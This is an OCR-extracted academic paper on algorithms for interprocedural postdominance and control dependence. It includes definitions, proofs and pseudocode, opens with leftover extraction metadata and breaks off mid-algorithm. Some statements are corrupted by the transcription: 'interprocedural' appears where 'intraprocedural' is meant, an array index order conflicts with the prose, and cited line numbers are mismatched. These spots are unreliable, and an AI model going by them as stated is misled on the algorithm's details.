44605, null], [44605, 44642, null], [44642, 44748, null], [44748, 46039, null], [46039, 47597, null], [47597, 49304, null], [49304, 50553, null], [50553, 52028, null], [52028, 53816, null], [53816, 53943, null], [53943, 55729, null], [55729, 57443, null], [57443, 59016, null], [59016, 60600, null], [60600, 62106, null], [62106, 63906, null], [63906, 65959, null], [65959, 68087, null], [68087, 68476, null], [68476, 68524, null], [68524, 70098, null], [70098, 71806, null], [71806, 73798, null], [73798, 75319, null], [75319, 76074, null], [76074, 76077, null], [76077, 76150, null], [76150, 77185, null]], "google_gemma-3-12b-it_is_public_document": [[0, 285, true], [285, 673, null], [673, 1712, null], [1712, 4438, null], [4438, 4489, null], [4489, 6111, null], [6111, 7825, null], [7825, 7971, null], [7971, 9775, null], [9775, 11612, null], [11612, 13429, null], [13429, 14160, null], [14160, 15558, null], [15558, 17142, null], [17142, 17168, null], [17168, 18984, null], [18984, 19005, null], [19005, 19107, null], [19107, 20926, null], [20926, 22609, null], [22609, 22661, null], [22661, 22990, null], [22990, 24665, null], [24665, 26290, null], [26290, 28054, null], [28054, 29684, null], [29684, 31504, null], [31504, 33216, null], [33216, 34113, null], [34113, 35325, null], [35325, 35417, null], [35417, 37146, null], [37146, 38756, null], [38756, 39279, null], [39279, 40971, null], [40971, 41280, null], [41280, 42896, null], [42896, 44605, null], [44605, 44642, null], [44642, 44748, null], [44748, 46039, null], [46039, 47597, null], [47597, 49304, null], [49304, 50553, null], [50553, 52028, null], [52028, 53816, null], [53816, 53943, null], [53943, 55729, null], [55729, 57443, null], [57443, 59016, null], [59016, 60600, null], [60600, 62106, null], [62106, 63906, null], [63906, 65959, null], [65959, 68087, null], [68087, 68476, null], [68476, 68524, null], [68524, 70098, null], [70098, 71806, null], [71806, 73798, null], [73798, 75319, null], [75319, 76074, null], [76074, 76077, null], [76077, 76150, null], [76150, 77185, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 77185, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 77185, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 77185, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 77185, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 77185, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 77185, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 77185, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 77185, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 77185, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 77185, null]], "pdf_page_numbers": [[0, 285, 1], [285, 673, 2], [673, 1712, 3], [1712, 4438, 4], [4438, 4489, 5], [4489, 6111, 6], [6111, 7825, 7], [7825, 7971, 8], [7971, 9775, 9], [9775, 11612, 10], [11612, 13429, 11], [13429, 14160, 12], [14160, 15558, 13], [15558, 17142, 14], [17142, 17168, 15], [17168, 18984, 16], [18984, 19005, 17], [19005, 19107, 18], [19107, 20926, 19], [20926, 22609, 20], [22609, 22661, 21], [22661, 22990, 22], [22990, 24665, 23], [24665, 26290, 24], [26290, 28054, 25], [28054, 29684, 26], [29684, 31504, 27], [31504, 33216, 28], [33216, 34113, 29], [34113, 35325, 30], [35325, 35417, 31], [35417, 37146, 32], [37146, 38756, 33], [38756, 39279, 34], [39279, 40971, 35], [40971, 41280, 36], [41280, 42896, 37], [42896, 44605, 38], [44605, 44642, 39], [44642, 44748, 40], [44748, 46039, 41], [46039, 47597, 42], [47597, 49304, 43], [49304, 50553, 44], [50553, 52028, 45], [52028, 53816, 46], [53816, 53943, 47], [53943, 55729, 48], [55729, 57443, 49], [57443, 59016, 50], [59016, 60600, 51], [60600, 62106, 52], [62106, 63906, 53], [63906, 65959, 54], [65959, 68087, 55], [68087, 68476, 56], [68476, 68524, 57], [68524, 70098, 58], [70098, 71806, 59], [71806, 73798, 60], [73798, 75319, 61], [75319, 76074, 62], [76074, 76077, 63], [76077, 76150, 64], [76150, 77185, 65]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 77185, 0.06458]]}
|
olmocr_science_pdfs
|
2024-12-08
|
2024-12-08
|
08c0a6114239243d83ceda31384fa53688ba790a
|
Efficient Computation of Interprocedural Control Dependence
James Ezick
Cornell University
4139 Upson Hall
Ithaca, NY 14853 USA
(607) 255-4934
ezick@cs.cornell.edu
Gianfranco Bilardi
Università di Padova
Dip. di Elettronica ed Informatica
Via Gradenigo, 6A
35131 Padova, Italy
+390498277819
bilardi@dei.unipd.it
Keshav Pingali
Cornell University
457A Rhodes Hall
Ithaca, NY 14853 USA
(607) 255-7203
pingali@cs.cornell.edu
15 August 2001
Abstract
Control dependence information is useful for a wide range of software maintenance and testing tasks. For example, program slicers use it to determine statements and predicates that might affect the value of a particular variable at a particular program location. In the intraprocedural context an optimal algorithm is known for computing control dependence that unfortunately relies critically on the underlying intraprocedural postdominance relation being treestructured. Hence, this algorithm is not directly applicable to the interprocedural case where the transitive reduction of the postdominance relation can be a directed acyclic graph (DAG), with nodes having multiple immediate dominators.
In this paper we present two efficient, conceptually simple algorithms for computing the interprocedural postdominance relation that can be used to compute interprocedural control dependence. For an interprocedural control flow graph \(G = (V, E)\), our reachability based algorithm takes time and space \(O(|V|^2 + |V||E|)\). Unlike other algorithms, it does not perform confluence operations on whole bitvectors and can be tuned to concentrate on the interprocedural rather than intraprocedural relations in a program thus allowing it to scale better to larger programs.
Keywords
Interprocedural Analysis, Postdominance, Control Dependence, Reachability
1 Introduction
Many problems in software engineering such as testing and maintenance of programs require the computation of the control dependence relation of the program. Intuitively, a statement \(w\) is control dependent on a statement \(u\) in a program if there are multiple exits out of \(u\) and the choice of exit determines whether \(w\) is executed. For example, in an if-then-else construct statements on the two sides of the conditional statement are control dependent on the predicate.
The most common use of control dependence in software engineering is in determining whether a change to the semantics of a program statement affects the execution of another program statement. Like most program analysis problems this one is undecidable, but computing program dependencies provides a reasonable approximate approach to answering such a question. The research community has focused much attention on such slicing tools [16, 20, 31]. For example, the system dependence graph (SDG) [16], an interprocedural extension of the program dependence graph [9, 23], incorporates edges for both control and data dependence to allow programs to be sliced at a point \(p\) with respect to a variable \(x\) defined or used at \(p\).
In restructuring and optimizing compilers control dependence is used in scheduling instructions across basic-block boundaries for speculative or predicated execution [3, 10, 22], in merging program versions [15], and in automatic parallelization [2, 9, 30]. In some applications, such as code scheduling, it is necessary to know which nodes have the same control dependences as a given node. This information is useful in code scheduling because basic blocks with the same control dependences can be treated as one large basic block, as is done in region scheduling [12]. This information can also be used to decompose the control flow graph of a program into single-entry single-exit regions, and this decomposition can be exploited to speed up dataflow analysis by combining structural and fixpoint induction [17, 18] and to perform dataflow analysis in parallel [11, 18].
Formulating a precise definition of control dependence in programs with nested control structures, multi-way branches, unstructured flow of control, and procedure calls can be quite subtle. The most commonly used definition, due to Ferrante et al., is based on the graph-theoretic concept of *postdominance* [9]. This work was later extended by Podgurski and Clarke who distinguished between several notions of control dependence [25]. Bilardi and Pingali [4] proposed a generalized framework to unify many different such notions. Most of the research in this area has focused on computing *inaprocedural* control dependence [9, 24, 7, 26, 27]. In this approach each procedure is treated in isolation ignoring the transfer of control due to procedure calls and returns. While adequate for some applications such as instruction scheduling, ignoring calls and returns is not an option for other applications such as interprocedural dataflow analysis. For example, a popular method to perform interprocedural dataflow analysis consists of building *sparse dataflow representations* (such as the Static Single Assignment (SSA) form [7], sparse dataflow evaluator graphs [6], and Quick Propagation Graphs [18]), solving dataflow problems in these representations, and then projecting the solution onto the original program. Algorithms for constructing sparse representations are related to algorithms for computing control dependence in the reverse control flow graph of the program. Extending this method to the interprocedural context obviously requires the computation of interprocedural control dependence.
In the interprocedural case, a key step toward control dependence computation is the construction of the transitive reduction of the postdominance relation. This reduced relation is tree-structured, a fact that is crucially exploited both in computing it [19, 5] and in using it for control dependence computations [24]. In the interprocedural case the transitive reduction of postdominance is not necessarily a tree, so these interprocedural algorithms can no longer be used. The key point, to be discussed more closely in Section 2, is that while all graph-theoretic paths in the interprocedural control flow graph correspond to valid program executions, this is no longer true in the interprocedural case. Indeed, a procedure can be called from any number of different program points, but at the end of the call control can return only to the program point just after the point of invocation.
A search of the literature revealed only a handful of algorithms for computing interprocedural control dependences. Loquay and Mathisen [21] gave an algorithm that was improved by Harold, Rothermel and Sinha for computing interprocedural control dependence with \(O(N^2)\) complexity [13, 14]. In later work [31], they present a method for augmenting control flow graphs to handle programs with arbitrary control flow. It should be noted that their notion of control dependence differs slightly from the relation we compute in this paper in that, under their definition, the start of a procedure is always control dependent on each call site to the procedure. Their justification for this is that the call site dictates the parameters passed to the procedure and thus a natural dependence exists. It is our view that this constitutes a data dependence and thus we do not include it in our relation. This distinction does not change the complexity of the overall problem.
In this paper we present two practical algorithms for computing the interprocedural postdominance relation of a program that can be used to compute the interprocedural control dependence relation. Introduced in Section 3, one is an iterative approach and the other is based on determining reachability of nodes in the interprocedural control flow graph along so-called *valid path suffixes*. Defined in Section 2, they reflect the constraints of valid program executions. The running time of our reachability based algorithm is \(O(|V|(|E| + |V|))\) where \(|V|\) and \(|E|\) are, respectively, the number of nodes and of edges in the interprocedural control flow graph. Precomputing and caching certain sets of reachable nodes improves the efficiency of that algorithm in practice, as we show in Section 4. Both algorithms produce the full postdominance relation, which is transitive. In Section 5 we show how, by means of a single boolean matrix multiplication, one can obtain the transitive reduction of the postdominance relation that is preferable to work with in some applications. In Section 6, we outline how to compute the interprocedural control dependence relation
of the program. We give experimental results in Section 7, comparing the performance of the reachability algorithm with that of the iterative dataflow algorithm. Finally, we discuss ongoing work in Section 8.
2 Concepts and Definitions
A program is formed by a family $P$ of procedures that can call each other, including a distinguished procedure MAIN that no other procedure may call. The interprocedural control-flow graph (ICFG) of a program models the possible transfer of control both between statements of the same procedure and between different procedures by means of the call-return mechanism [29]. As a preliminary step, it is convenient to introduce the interprocedural control-flow graph (ICFG) of an individual procedure.
Definition 1 An interprocedural control-flow graph (ICFG) of a procedure $P$ is a directed graph $G_P = (V_P, E_P)$ in which nodes represent statements and an edge $u \rightarrow v$ represents possible flow of control from statement $u$ to statement $v$. The node set $V_P$ can be partitioned as
$$V_P = \{\text{START}_P\} + \{\text{END}_P\} + V'_P + V''_P + V'''_P$$
where: $\text{START}_P$ is a node with no predecessors from which every node is reachable; $\text{END}_P$ is a node with no successors and reachable from every node; $V'_P$ is the set of call nodes, that have exactly one outgoing edge; $V''_P$ is the set of return nodes, that have exactly one incoming edge; $|V'_P| = |V''_P|$. The edge set can be partitioned as $E_P = E'_P \cup E''_P$. An internal edge $(u, v) \in E'_P$ corresponds to direct transfer of control from $u$ to $v$, internally to procedure $P$.
The ICFG is obtained by assembling the ICFGs of all procedures and replacing each short-cut edge $(u, v)$ having $\text{label}(u, v) = F$ with two interprocedural edges $(u, \text{START}_F)$ and $(\text{END}_F, v)$, that are said to correspond to each other.
Definition 2 The interprocedural CFG (ICFG) of a program is a graph $G = (V, E)$ with $V = \cup_{P \in P} V_P$ and $E = E^i + E^c + E^r$, where $E^i = \cup_{P \in P} E^i_P$ is called the set of internal edges, and $E^c$ and $E^r$, defined as
$$E^c = \cup_{P \in P} \{(u, \text{START}_P) : (u, v) \in E'_P, \text{label}(u, v) = F\},$$
$$E^r = \cup_{P \in P} \{(\text{END}_P, v) : (u, v) \in E''_P, \text{label}(u, v) = F\}$$
and called the sets of the call edges and of the return edges, respectively.
Figure 1(a) shows an interprocedural CFG for a simple program with two procedures MAIN and F in which F is called from two places in MAIN.
Not every ICFG path corresponds to a possible path of execution since a procedure can be invoked from many call sites but each invocation can only return to its corresponding call site. For example, in Figure 1(a), the path $(a, b, c, j, k, 1, t, h, i)$ does not correspond to a valid path of execution since the call to F at node c does not return to node e. This intuition is captured by defining a valid path (this is called a complete valid path by Sharir and Pnueli [29]) as a path where the subsequence of call and return edges is proper, in the following sense.
Definition 3 The set of proper sequences of call and return edges is defined as the context-free language on the alphabet $(E^c + E^r)$ that (i) contains the empty sequence, (ii) is closed under concatenation, and (iii) if it contains sequence $\sigma$ then it also contains those sequences of the form $(u, \text{START}_F)\sigma(\text{END}_F, v)$, for each short-cut edge $(u, v)$ with label$(u, v) = F$.
Definition 4 A path from $\text{START}_\text{MAIN}$ to $\text{END}_\text{MAIN}$ in the ICFG $G$ of a program, viewed as a sequence of edges, is a valid path if its subsequence of call and return edges is proper.
Figure 1: A Small Program, and its Postdominator DAG and Control Dependence Relation
In the remainder of this paper, we shall restrict our attention to ICFGs where each node \( v \) occurs on some valid path. We will have occasion to deal with the following kind of valid path segment, referred to as same-level valid path segments in the literature [28].
**Definition 5** A same-level valid path segment is a sequence of edges that appear consecutively in some valid path, whose first and last nodes belong to the same procedure, and whose subsequence of call and return edges is proper.
In our running example, path \((b,c,j,k,l,e)\) is a same-level valid path segment.
The following lemma is needed in the proof of correctness of the algorithm for computing interprocedural postdominance.
**Lemma 1** Let \( \sigma_1 \) and \( \sigma_2 \) be two same-level valid path segments from node \( u \) to node \( v \). If \( \pi = \pi_1 \sigma_1 \pi_2 \) is a valid path, then so is \( \tau = \pi_1 \sigma_2 \pi_2 \).
**Proof:** It is easy to see that \( \tau \) is a path from the start of the program to its end. By Definition 5, the subsequences of call and return edges in both \( \sigma_1 \) and \( \sigma_2 \) are proper sequences. Furthermore, given a proper sequence of call and return edges, we can always replace a proper subsequence with another proper subsequence to obtain a proper sequence. Therefore, \( \tau \) is a valid path. \( \square \)
We can now define interprocedural dominance and postdominance between nodes of the ICFG.
**Definition 6** A node \( v \) is said to interprocedurally dominate a node \( w \) if \( v \) occurs before \( w \) in every valid path that contains \( w \).
A node \( v \) is said to interprocedurally postdominate a node \( w \) if \( v \) occurs after \( w \) in every valid path that contains \( w \).
It is easy to show that dominance and postdominance are transitive relations. Figure 1(b) shows the transitive reduction of the postdominance relation of the program of Figure 1(a).
Control dependence can be introduced formally as follows [9]:
**Definition 7** A node \( w \in V \) is said to be control dependent on edge \((u \rightarrow v) \in E\) if
1. \( w \) postdominates \( v \), and
2. if \( w \neq u \), then \( w \) does not postdominate \( u \).
Call Nodes: $PDOM(\text{Call}_x) = PDOM(\text{Start}_x) \cup PDOM(\text{Return}_x) \cup \{\text{Call}_x\}$
$END_{MAIN}$: $PDOM(\text{End}_{MAIN}) = \{\text{End}_{MAIN}\}$
Other Nodes: $PDOM(n) = \bigcap_{s \in \text{succ}(n)} PDOM(s) \cup \{n\}$
Figure 2: Rules for postdominance dataflow equations
By convention, nothing is control dependent on a return edge since the END of a procedure is not a decision point although there may be multiple edges emanating from it.
Intuitively, if control flows from node $u$ to node $v$ along edge $u \rightarrow v$, it will eventually reach node $w$; however, control may reach END from $u$ without passing through $w$. Thus, $u$ is a ‘decision-point’ that influences the execution of $w$.
**Definition 8** Given an ICFG $G = (V,E)$, its control dependence relation is the set $C \subseteq E \times V$ of all pairs $(e, w)$ such that node $w$ is control dependent on edge $e$.
The control dependence relation for the program of Figure 1(a) is shown in Figure 1(c).
Typically, both software engineering and compiler applications of control dependence require the computation of the following sets derived from $C$ [8]:
**Definition 9** Given a node $w$ and an edge $e$ in an ICFG with control dependence relation $C$, we define the following control dependence sets:
- $\text{cd}(e) = \{w \in V : (e, w) \in C\}$,
- $\text{conds}(w) = \{e \in E : (e, w) \in C\}$, and
- $\text{cdequiv}(w) = \{v \in V : \text{conds}(v) = \text{conds}(w)\}$.
3 Two Algorithms for Computing Interprocedural Postdominance
In this section, we present two algorithms for computing the interprocedural postdominance relation. The first algorithm is a relatively straightforward dataflow algorithm that solves a set of monotone dataflow equations iteratively. The second algorithm is based on computing graph-reachability in subgraphs of the interprocedural CFG.
3.1 Iterative Algorithm
It is well-known that the intraprocedural postdominance relation can be computed by solving a set of monotone dataflow equations [19]. This is true for the interprocedural postdominance relation as well. The lattice underlying the equations is the powerset of nodes in the program, ordered by containment, in which the least element is the empty set. The postdominance relation can be described implicitly by writing down a set of equations, one per node, in which the postdominators of a node are expressed as a function of the postdominators of its successors in the interprocedural CFG and some other nodes. Figure 2 shows the rules for generating these equations. In general, the postdominators of a node $n$ are $n$ itself and any other node that postdominates all the control flow successors of $n$. A Call node is also postdominated by any node that postdominates its corresponding Return node.
This is a monotone dataflow problem. Its solution can be found in the usual way by iterating downward from the initial approximation that assumes the postdominator set of each node is the set of all program nodes.
As is usual, our implementation maintains a work-list of nodes whose postdominator set must be recomputed because one or more of the sets on the right hand side of its equation has changed. This work-list is initialized to $END_{MAIN}$, and nodes are enqueued and dequeued till convergence occurs. Postdominator sets are represented as bit-vectors, and the necessary union and intersection operations are performed using bit-vector operations.
3.2 Reachability-based Algorithm
Let us observe that, by a straightforward reformulation of Definition 6, a node \( v \) fails to postdominate precisely those nodes \( w \) for which there is a valid path suffix \( w \rightarrow \text{END}_{\text{main}} \) that does not contain \( v \). This observation is the basis for our algorithm, the pseudocode for which is shown in Figure 3. This code assumes that each node is given a unique number between 1 and the total number \( N \) of nodes in the ICFG, and that corresponding call and return nodes can be determined from each other in constant time.
The algorithm determines the interprocedural postdominance relation \( \text{PDOM} \) by first initializing it to contain all pairs \( (v, w) \) (line 3) and then pruning from it, for each node \( v \) (processed by one iteration of the loop in line 7), all those nodes \( w \) that are reachable from \( \text{END}_{\text{main}} \) in the reverse ICFG with \( v \) deleted, via the reverse of a valid path suffix. The actual pruning is accomplished by the call \( \text{SEARCH-WITHOUT}(v) \). This procedure (line 10) determines reachability by performing a search. A work-list of reachable nodes is maintained, initialized to contain \( \text{END}_{\text{main}} \) (line 13), and from which nodes are extracted one at the time (line 15). A node \( w \) is marked when it is first encountered (line 17), to avoid processing it multiple times, and the entry \( (v, w) \) in deleted from \( \text{PDOM} \) (line 19). Then, procedure \( \text{VISIT} \) is invoked (line 20) to add the predecessors of \( w \) to the work-list, where appropriate.
Reachability along valid path segments introduces some subtleties, specifically when \( w = \text{START}_F \), for some procedure \( F \). In this case, a generic predecessor \( c \) of \( w \) is a call node; hence a valid path suffix from \( w \) to \( \text{END}_{\text{main}} \) can be extended by prepending edge \( (c, w) \) if and only if such a path includes the corresponding return node \( r(c) \). Care must be taken to handle correctly and efficiently the situation when \( \text{START}_F \) is visited before \( r(c) \) as well as the situation when the visits happen in the opposite order. To this end, when a return node \( r(c) \) corresponding to a call node \( c \) for \( F \) is visited, in addition to adding \( \text{END}_F \) to the work-list (line 26) node \( c \) is considered as well: if \( \text{START}_F \) has already been visited, then \( c \) is added to the work-list (line 28), else \( c \) is inserted (line 29) into an initially empty bucket associated with procedure \( F \). When \( \text{START}_F \) is visited, the bucket - which contains call nodes whose corresponding return has already been visited - is simply emptied into the work-list (lines 30-35). For a node \( w \) that is neither a return nor a start node, the visit simply adds all predecessors to the work-list (lines 36-40).
Deletion of node \( v \) from the ICFG is not actually performed, but simulated simply by skipping the visit of \( v \) (line 18) and hence preventing the search from propagating beyond \( v \).
Next, we establish the correctness and analyze the performance of our algorithm.
**Theorem 1** Given as input an ICFG \( G = (V, E) \), procedure \( \text{COMPUTE-PDOM} \) runs in time \( O(|V|(|V| + |E|)) \) and sets \( \text{PDOM}[v][w] \) to true if and only if \( v \) interprocedurally postdominates \( w \).
**Proof:** The performance bound simply follows from the fact that \( |V| \) searches are executed, each taking time proportional to the number \( |V| \) of nodes and \( |E| \) of edges.
Correctness requires a more detailed argument. We first consider separately the case \( v = \text{END}_{\text{main}} \), where \( v \) is added to the work-list in line 13 and is removed from the work-list in line 15. The while loop in line 14 executes just once and, for each \( w \), the entry \( \text{PDOM}[\text{END}_{\text{main}}][w] \) will remain true, which is correct since \( \text{END}_{\text{main}} \) postdominates all nodes.
Now, let \( v \neq \text{END}_{\text{main}} \). We will show that \( \text{PDOM}[v][w] \) will be set to false if there is a non-empty valid path suffix from \( w \) to \( \text{END}_{\text{main}} \) that does not contain \( v \).
Notationally, \( y \rightarrow z \), \( y \rightarrow z \) respectively denote an edge, a path, and a non-empty path between nodes \( y \) and \( z \).
- \( \leq \): We show inductively that, for every \( n \), if \( \pi = w \rightarrow x \rightarrow \text{END}_{\text{main}} \) is a non-empty valid path suffix of length \( n \) that does not contain \( v \), then \( \text{PDOM}[v][w] \) is set to false.
If \( n = 0 \), then \( w = \text{END}_{\text{main}} \). This node is added to the work-list in line 13, removed from it in line 15, and \( \text{PDOM}[v][w] \) is set to false in line 19.
Assume now that the inductive hypothesis holds for lengths no larger than \( n \). Now consider a node \( w \) for which there is a non-empty valid path suffix \( w \rightarrow x \rightarrow \text{END}_{\text{main}} \) of length \( n + 1 \). By the inductive assumption, \( \text{PDOM}[v][x] \) will be set to false at some point. This must happen at line 19, which is immediately followed by line 20 which invokes procedure \( \text{VISIT} \). Consider the three possible cases for node \( x \).
1. If node \( x \) is a return node and \( w \) is not marked, then \( w \) is added to the work-list in line 26. At some later point, it is removed from the work-list and \( \text{PDOM}[v][w] \) is set to false. On the other hand, if \( w \) is marked, it must have been marked in line 17 which is followed by line 19 in which \( \text{PDOM}[v][w] \) is set to false. In either case, the required result follows.
1. ICFG G;
2. int N = number of nodes in G;
3. boolean[1..N][1..N] PDOM = true;
// PDOM[v][w] = false if v does not postdominate w
4. int P = number of procedures in G;
5. node_set work-list = {}; // set of nodes to be visited by graph search
6. procedure COMPUTE-PDOM () {
7. FOR v = 1..N DO
// find nodes reachable from END-MAIN in reverse ICFG w/o v
8. SEARCH-WITHOUT(v);
9. END
10. procedure SEARCH-WITHOUT(node v) {
11. node_set[P] buckets = {};
12. boolean[N] marked = false; // no node initially visited
13. work-list.add(END-MAIN);
// begin reverse reachability at END-MAIN
14. WHILE(work-list <> empty) DO
15. node w = work-list.remove();
16. IF (marked[w]) THEN continue; // w has already been visited
17. marked[w] = true;
18. IF (w == v) continue; // skip v since it is conceptually removed from G
19. PDOM[w][v] = false; // w is reachable from END-MAIN w/o v
20. VISIT(w, v, buckets, marked); // process predecessors of w
21. END
22. procedure VISIT(node w, node v, node_set[] buckets, boolean[] marked) {
23. // process predecessors of w
24. IF (w is a return node from procedure F) // w target of return edge
25. THEN
26. IF (not marked(END-F)) THEN
27. work-list.add(END-F);
28. let node c = c(w) // call node corresponding to w;
29. IF (marked[START-F]) THEN work-list.add(c);
30. ELSE buckets[F].add(c);
31. ELSEIF (w is a START node for procedure F) // w target of call edge
32. THEN
33. FOR each node c in buckets[F] DO
34. remove c from buckets[F];
35. work-list.add(c);
36. END
37. ELSE
38. FOR each predecessor z of w DO
39. IF (not marked[z]) THEN
40. work-list.add(z);
41. END
42. }
Figure 3: Algorithm for computing the interprocedural postdominance relation
2. If node \( x \) is the \text{START} node for some procedure \( F \), \( w \) must be a call node for \( F \) and the corresponding return node \( r(w) \) must occur on the valid path suffix \( x \rightarrow \text{END}_{\text{PROC}} \). By the inductive assumption, both \( x \) and \( r(w) \) must be put on the work-list, and procedure \text{VISIT} must be called with both these nodes. If \( x \) is processed first, then line 28 is executed when \( r(w) \) is processed at a later time, and \( w \) is put on the work-list. On the other hand, if \( r(w) \) is processed first, then \( w \) is added to \text{buckets}[F] \) in line 29, and \( w \) is added to the work-list in line 34 when \( x \) is processed. In either case, at some point, \( w \) is extracted from the work-list and \( \text{PDOM}[v][w] \) is set to false.
3. The remaining case is when \( w \rightarrow r \) is an internal edge. When \( x \) is processed, \( w \) is either already marked, in which case \( \text{PDOM}[v][w] \) is set to false, or \( w \) is not marked, in which case it is added to the work-list, and \( \text{PDOM}[v][w] \) is set to false when \( w \) is processed.
\( \Rightarrow \): We note that elements of the \( \text{PDOM} \) array are set to false in the while loop of line 14 and we show inductively that, for each \( k \), if \( \text{PDOM}[v][w] \) is set to false at the \( k \)-th iteration, then there is a valid path suffix \( \pi \) from \( w \) to \( \text{END}_{\text{PROC}} \) that does not contain \( v \).
The while loop executes at least once since node \( \text{END}_{\text{PROC}} \) is added to the work-list in line 13. \( \text{PDOM}[v][\text{END}_{\text{PROC}}] \) is set to false in the first iteration, and the required result is trivially obtained by letting \( \pi \) be the empty path, obviously a valid path suffix.
Assume now that the inductive assumption holds for the first \( k \) iterations of the while loop. Let \( w \) be the node removed from the work-list in iteration \( k + 1 \) and assume \( w \neq v \). Therefore, node \( w \) is distinct from \( \text{END}_{\text{PROC}} \) and it must have been added to the work-list when some node \( r \) was processed in procedure \text{VISIT}.
By the inductive assumption, there is a valid path
\[
\pi = \text{START}_{\text{PROC}} \rightarrow r \rightarrow \text{END}_{\text{PROC}}
\]
and the suffix \( r \rightarrow \text{END}_{\text{PROC}} \) does not contain \( v \). Consider the three possible cases for node \( r \).
1. Suppose \( r \) is a return node for procedure \( F \).
Suppose \( w = \text{END}_F \). Since the only \text{ICFG} predecessor of node \( r \) is \( w \), the valid path \( \pi \) must contain \( w \), so there is a valid path suffix \( w \rightarrow \text{END}_{\text{PROC}} \) that does not contain \( v \).
Otherwise, \( w = c(r) \) is the call node corresponding to \( r \). Then, any valid path that contains \( r \) must contain \( w \) since \( r \) is in \( \pi \) contains \( w \), and there is a valid path suffix
\[
\rho = w \rightarrow \text{START}_F \rightarrow r \rightarrow \text{END}_{\text{PROC}}
\]
By the inductive assumption, there is a valid path suffix \( \sigma = \text{START}_F \rightarrow r \rightarrow \text{END}_{\text{PROC}} \) that does not contain \( v \). Path \( \sigma \) has a same-level valid path segment \( \gamma = \text{START}_F \rightarrow \text{END}_F \). Replacing the same-level valid path segment from \( \text{START}_F \) to \( \text{END}_F \) in \( \rho \) with \( \gamma \), we get a valid path suffix \( w \rightarrow \text{END}_{\text{PROC}} \) that does not contain \( v \).
2. Suppose \( r \) is a \text{START} node for procedure \( F \).
Then \( w \) must be a call node for \( F \) which was in \text{buckets}[F]. This node must have been added to \text{buckets}[F] \) in line 29 when the return node \( r' \) corresponding to \( w \) was processed by procedure \text{VISIT}.
Node \( r' \) must have been processed before node \( r \), so by inductive assumption, there is a valid path \( \text{START}_{\text{PROC}} \rightarrow r' \rightarrow \text{END}_{\text{PROC}} \) which must contain \( w \), so the required result holds.
3. The final case is that \( w \rightarrow r \) is an internal edge.
By assumption, there is a valid path
\[
\pi = \text{START}_{\text{PROC}} \rightarrow r \rightarrow \text{END}_{\text{PROC}}
\]
Let \( F \) be the procedure in which \( r \) occurs. By assumption, \( \text{START}_F \) must occur on \( \pi \), which can then be written as
\[
\pi = \text{START}_{\text{PROC}} \rightarrow \text{START}_F \rightarrow r \rightarrow \text{END}_{\text{PROC}}
\]
By assumption about programs, there is a same-level valid path segment \( \beta = \text{START}_F \rightarrow w \rightarrow r \). Replacing the segment \( \text{START}_F \rightarrow r \) with \( \beta \), we get a valid path that contains \( w \) as required; furthermore, the suffix \( w \rightarrow \text{END}_{\text{PROC}} \) does not contain \( v \).
\( \square \)
4 Precomputing Reachability
We now show that the efficiency of the algorithm for computing the interprocedural postdominance relation can be improved by precomputing and caching \text{intraprocedural} reachability information and using this
information selectively to ensure that most of the graph traversals performed during the postdominance computation are along interprocedural edges.
In the preprocessing step, for each procedure $P \in \mathcal{P}$, we perform reachability computations in the intraprocedural control flow subgraph $S_P = (V_P, E_P)$, where the short-cut edges have been removed. The nodes in $V_P \cup \{ \text{END}_P \}$ (namely, the call nodes and END_P) are called root nodes of this graph. We introduce the locally reachable node set $L(r)$ that is the set of nodes in $V_P$ (nodes that are not START_P, END_P or call or return nodes, as in Definition 1) reachable from root node $r$ in the reverse graph of $S_P$. Intuitively, in the reverse ICFG, nodes in $L(r)$ can be reached from $r$ without traversing interprocedural edges. We then build a collapsed graph $C_P = (I_P, D_P)$ in which the nodes are START_P, END_P, and all the call and return nodes of $P$, and in which there is an edge $(m, n)$ if $m, n \in I_P$ and $m \in L(n)$. At the END_P node and each call node in this collapsed graph we store the locally reachable set of nodes computed for the corresponding node in $S_P$ (the algorithm below assumes that this set is stored in an array named L, indexed by the node). During the postdominator computation, we use $S_P$ for reachability computations if the deleted node is not in $P$; otherwise, we use the original ICFG for $P$.
Figure 4 shows the collapsed graphs for the procedures in the running example. Figure 5 shows the modifications that are required to the algorithm of Figure 3 when preprocessing is used.
The proof of correctness of the algorithm with preprocessing hinges on the fact that the intraprocedural reachability computation that determines locally reachable sets finds same-level paths within procedures that, prepended to paths from the END nodes of the procedure to END_M, yield valid path suffixes.
5 Computation of Transitive Reduction
$PDOM$ is a reflexive, anti-symmetric, transitively closed relation. Boolean array $PDOM[v][w]$ can be viewed as the adjacency matrix of a graph where there is an edge $(u \rightarrow v)$ in the graph if $u$ postdominates $v$. This graph has self-loops at every node (reflexivity); except for self-loops, it is acyclic (anti-symmetricity) and, if $(u \rightarrow v)$ and $(v \rightarrow w)$ are edges in the graph, so is edge $(u \rightarrow w)$ (transitive closure).
For some applications, it is useful to work the transitive reduction $IPDOM$, which can be computed by a single boolean matrix multiplication, as we show in this section.
The first step is to define the irreflexive version $P_I$ of $PDOM$, by the equation
$$P_I = PDOM \land \neg I_n,$$
where $I_n$ is the $n \times n$ identity matrix, whose diagonal entries are true and the other are false. We show next that the transitive reduction $IPDOM$ of $PDOM$ can be computed by the following expression:
$$IPDOM = P_I \land \neg P_I^2.$$
\textbf{Lemma 2} The relation $IPDOM$ is transitively reduced.
\textbf{Proof:} Note first that if $(i, k) \in IPDOM$, then $(i, k) \in P_I$ (from Equation 2), so $(i, k) \in PDOM$ and $i$ is distinct from $k$ (from Equation 1).
Assume that CF is the collapsed graph for procedure F
// reverse reachability from END-MAIN if v belongs to MAIN. END-MAIN otherwise
19a. IF (v and w do not belong to the same procedure) & & (w is a call or end node)
b. THEN
c. FOR each node n in L[w] DO
